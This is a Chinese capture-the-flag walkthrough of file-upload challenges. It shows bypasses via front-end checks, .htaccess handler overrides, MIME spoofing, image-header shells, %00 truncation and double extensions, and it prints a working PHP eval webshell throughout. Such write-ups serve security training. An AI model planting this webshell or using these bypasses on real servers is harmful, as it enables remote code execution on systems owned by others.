0x00 無驗證

上傳一句話木馬1.php
<?php @eval($_POST["pass"]);?>
上傳文件相對路徑upload/1.php

使用蟻劍連接,連接密碼為pass

查看目錄,flag就在這里

0x01 前端驗證

上傳一句話木馬,結果提示該文件不允許上傳

題目是前端驗證,直接查看網頁源代碼,發現只能上傳.jpg,.png,.gif三種格式的文件

把1.php改為1.jpg,然后上傳抓包

1.jpg再改為1.php,然后放包

上傳成功,得到相對路徑upload/1.php

還是一樣的操作,蟻劍連接,查找目錄,找到flag

0x03 .htaccess
題目描述:htaccess文件是Apache服務器中的一個配置文件,它負責相關目錄下的網頁配置。通過htaccess文件,可以幫我們實現:網頁301重定向、自定義404錯誤頁面、改變文件擴展名、允許/阻止特定的用戶或者目錄的訪問、禁止目錄列表、配置默認文檔等功能
訪問

查看源代碼,發現文件后綴都被禁用了

百度一下hatccess文件,.htaccess是Apache的又一特色。一般來說,配置文件的作用范圍都是全局的,但Apache提供了一種很方便的、可作用於當前目錄及其子目錄的配置文件——.htaccess(分布式配置文件)
.hatccess文件有兩種寫法
第一種方法:
下面代碼的意思是,只要文件名中包含pass,就會被Apache解析為php文件。
<FilesMatch "pass">
SetHandler application/x-httpd-php
</FilesMatch>
提示文件名不能為空,命名為3.hatccess,用bp抓包,將3.htaccess改為.htaccass,然后放包

.htaccass文件上傳成功

把上面用到的1.php改為3.pass文件,上傳文件相對路徑upload/3.pass

蟻劍連接,可以看到上傳的文件

查找flag

第二種方法:·
內容為
AddType application/x-httpd-php .jpg
就成功地使該.htaccess文件所在目錄及其子目錄中的后綴為.jpg的文件被Apache當做php文件
上傳test.htaccess

上傳成功

再上傳3.jpg,內容為<?php @eval($_POST["pass"]);?> ,獲取到上傳文件路徑

蟻劍連接,連接成功。

參考文章:文件解析漏洞
0x04 MIME繞過

直接上傳4.php,提示文件類型不正確

來使用MIME繞過,百度了解一下MIME
MIME(Multipurpose Internet MailExtensions)多用途互聯網郵件擴展類型。是設定某種擴展名的文件用一種應用程序來打開的方式類型,當該擴展名文件被訪問的時候,瀏覽器會自動使用指定應用程序來打開。多用於指定一些客戶端自定義的文件名,以及一些媒體文件打開方式。MIME 消息能包含文本、圖像、音頻、視頻以及其他應用程序專用的數據。
MIME多用於指定一些客戶端自定義的文件名,以及一些媒體文件打開方式每個MIME類型由兩部分組成,前面是數據的大類別,例如聲音 audio、圖象 Image等,后面定義具體的種類。
常見的MME類型,例如:
#text表明文件是普通文本
text/plain
text/html
#image表明是某種圖像或者動態圖(gif)
image/jpeg
image/png
#audio表明是某種音頻文件
audio/mpeg
audio/ogg
audio/*
#video表明是某種視頻文件
video/mp4
#application表明是某種二進制數據
application/*
application/json
application/javascript
application/ecmascript
application/octet-stream
上傳4.php,使用bp抓包,修改Content-Typed的值,改成Content-Type: image/jpeg,然后放包

上傳成功,得到文件相對路徑

蟻劍連接,查找目錄文件,即可得到flag

參考文章: MIME 類型
0x05 文件頭檢查

上傳一句話木馬5.php,提示文件類型不正確

再把5.php修改成5.jpg上傳,發現提示文件錯誤

嘗試MME繞過,上傳5.php,抓包,修改Content-Typed的值,然后放包,發現提示文件錯誤

應該是對文件內容進行了檢測,來制作一個圖片碼m.php

抓包修改Content-Type的值,放包

結果提示文件錯誤

看了大師傅的wp,說盡量換小一點的圖片,就會成功,這次換了一個非常小的圖片,重新制作圖片馬

上傳flag.php,抓包修改Content-Type的值為image/png

上傳成功,得到上傳路徑

蟻劍連接,拿到flag

0x06 00截斷
了解一下00截斷,關於上傳中的00截斷分析

上傳一句話木馬,提示文件類型不匹配, 但在url欄出現了路徑信息

查看源代碼

上傳shell.jpg,抓包

構造00截斷,添加shell.php%00,放包

上傳成功路徑為upload/shell.php,蟻劍連接

拿到flag

0x07 雙寫后綴

上傳一句話木馬shell.php,雖然上傳成功,但后綴卻消失了

查看源碼,$name = str_ireplace($blacklist, "", $name);,變量blacklist里面的值會被替換,后綴被過濾了

繼續上傳shell.php,然后抓包修改成shell.pphphp,中間的php字符串被過濾,剩下的p和hp就組合成了php。

文件上傳成功,得到文件上傳路徑

蟻劍連接,flag就在這

